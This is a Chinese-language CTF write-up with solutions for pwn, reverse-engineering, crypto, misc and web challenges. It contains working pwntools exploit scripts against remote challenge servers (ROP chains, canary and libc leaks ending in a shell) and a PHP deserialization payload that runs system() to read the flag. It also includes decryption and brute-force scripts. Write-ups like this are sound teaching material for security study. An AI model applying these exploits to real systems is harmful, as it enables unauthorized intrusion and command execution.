PWN
move
简单的栈溢出。
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('47.93.188.210', 23106)
sh.sendafter(b'lets travel again!\n', flat([0x405f00, 0x40121A, 0, 0]))
sh.sendafter(b'setp number', p32(0x12345678))
sh.sendafter(b'TaiCooLa', cyclic(48) + flat([0x4050A0, 0x40124b]))
sh.sendafter(b'TaiCooLa', flat([0x405e00, 0x401353, 0x404018, 0x401080, 0x40121A, 0, 0x405ed0, 0x000000000040124b]))
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x80970
success('libc_addr: ' + hex(libc_addr))
sh.sendafter(b'TaiCooLa', flat([0x405d00, libc_addr + 0x4f302, 0x404018, 0x401080, 0x40121A, 0, 0x405dd0, 0x000000000040124b]))
sh.interactive()
pwthon
通过测试找到触发漏洞的PoC:
sh = remote(attach_host, 9541)
sh.sendlineafter(b'> ', b'0')
sh.send(b'0' * 0x100 + b'1' * 0x180)
sh.recvuntil(b'gift ')
app_addr = int(sh.recvline(), 16) - 0x68b0
success('app_addr: ' + hex(app_addr))
根据Poc编写利用脚本:
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('101.201.35.76', 45057)
sh.sendlineafter(b'> ', b'0')
sh.send(b'0' * 0xd9)
sh.recvuntil(b'0' * 0xd9)
canary = u64(b'\0' + sh.recvn(7))
success('canary: ' + hex(canary))
sh.send(b'0')
sh.sendlineafter(b'> ', b'0')
sh.send(b'2' * 0x20)
sh.recvuntil(b'2' * 0x20)
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x4473b0
success('libc_addr: ' + hex(libc_addr))
sh.send(b'0')
sh.sendlineafter(b'> ', b'0')
sh.send(b'1234')
sh.recvuntil(b'gift ')
sh.recvuntil(b'1234')
sh.send(cyclic(264) + flat([canary, 0, libc_addr + 0x4f302]) + b'\0' * 0x60)
sh.interactive()
RE
url从哪里来
程序在TMP创建目录了一个子进程 进入目录逆向分析
子进程是一个动态解密URL 并发送请求的过程
动态调试 在内存中发现一个base64编码的字符串
解密后就是flag
hello_py
进入运行中的app中 搜索hello有关的文件
取出来hello.pyc 然后反编译 发现是一个xxtea加密
//#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}
int main()
{
uint32_t v[12]={689085350, 626885696, 1894439255, 1204672445, 1869189675, 475967424, 1932042439, 1280104741, 2808893494};
uint32_t const k[4]={12345678, 12398712, 91283904, 12378192};
unsigned int r=9;//num_rounds建议取值为32
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
btea(v, -9, k);
printf("%s",v);
return 0;
}
nesting
通过大量测试,发现题目是一个类似指令模拟的功能, sub_16BC 函数负责模拟指令。
__int64 __fastcall run_code(nest *a1)
{
...
else if ( (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200] >= 8u )
{
switch ( a1->field_0[(unsigned __int16)a1->field_1200] )
{
case 8:
*(&a1->result + (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1]) = (unsigned __int8)a1->field_0[v8];
a1->field_1200 += 3;
break;
case 0xA:
*(&a1->result + (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1]) = ((unsigned __int8)a1->field_0[v8 + 1] << 8) | (unsigned __int8)a1->field_0[v8];
a1->field_1200 += 3;
break;
case 0x18:
a1->field_0[*((unsigned __int16 *)&a1->result
+ (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1])] = v8;
a1->field_1200 += 3;
break;
case 0x1A:
a1->field_0[*((unsigned __int16 *)&a1->result
+ (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1])] = v8;
a1->field_0[*((unsigned __int16 *)&a1->result
+ (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1])
+ 1] = HIBYTE(v8);
a1->field_1200 += 3;
break;
case 0x28:
a1->field_1204 = v8 == *(&a1->result + (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1]); // 0x1E21
a1->field_1200 += 3;
break;
case 0x29:
a1->field_1204 = *((unsigned __int16 *)&a1->result
+ (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1]) == ((unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 2] | ((unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 3] << 8)); // 0x1EC9
a1->field_1200 += 4;
break;
default:
return 0LL;
}
}
}
}
return 0LL;
}
...
因为flag需要进行验证是否正确,所以这个模拟指令系统肯定会有判断是否相等的指令,通过分析找到两处判断点:0x1E21
和0x1EC9
。
随后对这两个地址进行测试,发现0x1E21
的触发次数和输入是相关的。通过输入”f”,”fl”,”fla”,”flag”字符串发现0x1E21
的触发次数依次递增,因此猜测flag是逐字节进行比较的。通过输入”f0”,”fl”,”fz”发现”fl”字符串0x1E21
触发次数最多,因此猜测字符串同长度下,正确的字符组合所触发的0x1E21
次数最多。
根据以上逻辑写出爆破脚本:
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='error')
def run(content):
sh = process(['./nesting.patched'])
sh.sendline(content.encode())
result = sh.recvrepeat(1)
sh.close()
return result.count(b'#')
flag = ''
table = string.printable
while(True):
max_chr = 0
max_value = 0
for chr in table:
tmp = run(flag + chr)
if tmp > max_value:
max_chr = chr
max_value = tmp
flag += max_chr
print(flag)
最终可得 flag{2c7c093b-f648-11ed-a716-701ab8caaafe}
。
Crypto
lift
# !/usr/bin/env python3.10
# -*- coding: utf-8 -*-
import gmpy2
from Crypto.Util.number import *
hint = 251
n = 108960799213330048807537253155955524262938083957673388027650083719597357215238547761557943499634403020900601643719960988288543702833581456488410418793239589934165142850195998163833962875355916819854378922306890883033496525502067124670576471251882548376530637034077
E = 3359917755894163258174451768521610910491402727660720673898848239095553816126131162471035843306464197912997253011899806560624938869918893182751614520610693643690087988363775343761651198776860913310798127832036941524620284804884136983215497742441302140070096928109039
c = 72201537621260682675988549650349973570539366370497258107694937619698999052787116039080427209958662949131892284799148484018421298241124372816425123784602508705232247879799611203283114123802597553853842227351228626180079209388772101105198454904371772564490263034162
e=E//hint
#
# P.<x> = PolynomialRing(Zmod(n))
# f = e * x - 1
# root = f.monic().small_roots(X=2**257,beta=0.5)[0]
# g = gcd(int(e * root - 1),N)
d=39217838246811431279243531729119914044224429322696785472959081158748864949269
g=23153425300889483483553551112335873301449089474555179592930187730428387181422112282990079197590872977617830286073037301064978277511828551780538222539198674709759058026997715121
p=gmpy2.iroot(g,4)[0]
q=n//(p**5)
phi = p ** 4 * (p - 1) * (q - 1)
m251=pow(c,d,n)
d1=inverse(e,phi)
print(pow(c,d1,n))
c=65942580064916339360370107869124805065379278407453423807322070174933076533175126747570263707923877730828981200462382452332851764309132627867196012329998008639862606922074733109347253946308226346992240834103573312752632998287455123587460568157234254421846676210189
p,q=69367143733862710652791985332025152581988181 ,67842402383801764742069883032864699996366777
c=c%(p**3*q)
#脚本1
#Sage
e = 251
for mp in Zmod(p**3)(c).nth_root(e, all=True):
for mq in GF(q)(c).nth_root(e, all=True):
m = crt([ZZ(mp), ZZ(mq)], [p**3 ,q])
try:
res =long_to_bytes(int(m))
if b'flag' in res or b'ctf' in res or b'FLAG' in res or b'CTF' in res:
print(res)
# if b'flag' in res :
# print(res)
except:
pass
Misc
签到
base64 ->凯撒
先base64解密:iodj{zh1f0p3_2_Fwi}
丢随波逐流里,凯撒解密得到:
flag{we1c0m3_2_Ctf}
Web
PHP_unserialize_pro
简单的反序列化,直接上exp:
<?php
class Welcome{
public $name="A_G00d_H4ck3r";
public $arg;
}
class G00d{
public $shell;
public $cmd="more /[e-i]1[1-z][e-i]";
}
class H4ck3r{
public $func;
}
$a=new Welcome();
$a ->arg=new H4ck3r();
$a ->arg ->func=new G00d();
$a ->arg ->func ->shell="system";
echo serialize($a);
得到payload正常传参即可。